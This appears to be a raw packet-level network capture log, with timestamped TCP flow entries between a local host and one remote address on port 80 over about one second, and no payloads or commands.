Sep 9, 2024 18:45:05.982132912 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.982152939 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.982158899 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.982175112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.982189894 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.982214928 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.982228994 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.982287884 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.982304096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.982319117 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.982333899 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.982343912 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.982358932 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.982376099 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.982429028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.982444048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.982470989 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.982484102 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.982521057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.982543945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.982558966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.982575893 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.982584000 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.982592106 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.982598066 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.982609987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.982616901 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.982630968 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.982649088 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.982661963 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.982676983 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.982692003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.982717991 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.982722044 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.982731104 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.982762098 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.982795000 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.982810974 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.982825994 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.982923031 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.982923031 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.982924938 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.982942104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.982956886 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.982973099 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.982983112 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.982989073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.982996941 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.983006954 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.983014107 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.983026028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.983028889 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.983042955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.983047009 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.983059883 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.983061075 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.983078003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.983081102 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.983098984 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.983208895 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.983318090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.983333111 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.983349085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.983360052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.983364105 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.983371019 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.983381987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.983393908 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.983405113 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.983421087 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.983428955 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.983428955 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.983437061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.983443975 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.983453989 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.983463049 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.983469963 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.983477116 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.983486891 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.983489990 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.983504057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.983508110 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.983522892 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.983525991 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.983536005 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.983541965 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.983561039 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.983580112 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.983978987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.984021902 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.984184980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.984208107 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.984224081 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.984231949 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.984265089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.984281063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.984289885 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.984289885 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.984302044 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.984306097 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.984321117 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.984323025 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.984338045 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.984347105 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.984354973 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.984359980 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.984371901 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.984379053 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.984390020 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.984391928 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.984406948 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.984411001 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.984422922 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.984430075 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.984441042 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.984442949 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.984457970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.984460115 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.984474897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.984477043 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.984492064 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.984497070 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.984508991 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.984509945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.984528065 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.984543085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.984559059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.984565973 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.984565973 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.984565973 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.984576941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.984576941 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.984597921 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.984611988 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.072165966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.072181940 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.072196960 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.072244883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.072254896 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.072263956 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.072274923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.072287083 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.072303057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.072318077 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.072334051 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.072343111 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.072355986 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.072375059 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.072437048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.072479010 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.072500944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.072516918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.072531939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.072542906 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.072555065 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.072571993 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.072613955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.072629929 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.072643995 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.072654009 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.072668076 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.072680950 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.073759079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.073775053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.073790073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.073810101 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.073820114 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.073878050 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.073894024 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.073909998 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.073925972 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.073936939 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.073950052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.073956966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.073962927 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.073980093 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.073999882 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.074011087 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.074023008 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.074027061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.074050903 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.074063063 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.074135065 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.074150085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.074165106 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.074179888 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.074189901 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.074197054 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.074202061 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.074213028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.074219942 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.074232101 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.074249983 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.074362040 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.074378014 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.074407101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.074421883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.074423075 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.074439049 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.074446917 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.074456930 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.074460983 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.074475050 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.074477911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.074491024 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.074495077 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.074508905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.074512959 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.074526072 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.074544907 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.074551105 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.074562073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.074603081 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.074609041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.074624062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.074646950 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.074664116 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.074728966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.074743032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.074759007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.074774981 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.074783087 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.074798107 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.074800014 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.074810982 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.074837923 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.074886084 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.074901104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.074915886 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.074924946 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.074928999 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.074938059 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.074955940 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.074966908 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.075051069 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.075066090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.075081110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.075093985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.075103998 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.075109959 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.075117111 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.075126886 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.075134039 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.075145006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.075148106 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.075162888 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.075167894 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.075176001 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.075180054 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.075206041 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.075217962 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.075256109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.075275898 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.075290918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.075299978 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.075308084 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.075313091 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.075334072 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.075341940 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.075377941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.075401068 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.075416088 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.075429916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.075442076 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.075444937 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.075450897 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.075469017 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.075474977 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.075480938 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.075491905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.075508118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.075521946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.075531006 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.075545073 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.075556993 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.075766087 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.075782061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.075795889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.075808048 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.075809956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.075819016 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.075826883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.075835943 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.075844049 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.075849056 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.075860977 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.075867891 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.075880051 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.075891972 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.075906038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.075907946 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.075922012 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.075932026 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.075939894 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.075944901 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.075957060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.075963020 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.075973988 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.075974941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.075992107 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.076019049 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.076019049 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.076028109 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.076225042 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.076240063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.076255083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.076265097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.076270103 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.076277971 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.076287031 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.076296091 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.076302052 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.076308012 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.076318979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.076320887 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.076334953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.076339960 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.076354027 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.076359987 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.076371908 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.076376915 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.076385021 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.076389074 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.076411009 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.076412916 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.076426983 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.076426983 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.076443911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.076453924 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.076466084 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.076482058 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.076493025 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.076508999 CEST	80	49707	45.152.113.10	192.168.2.5
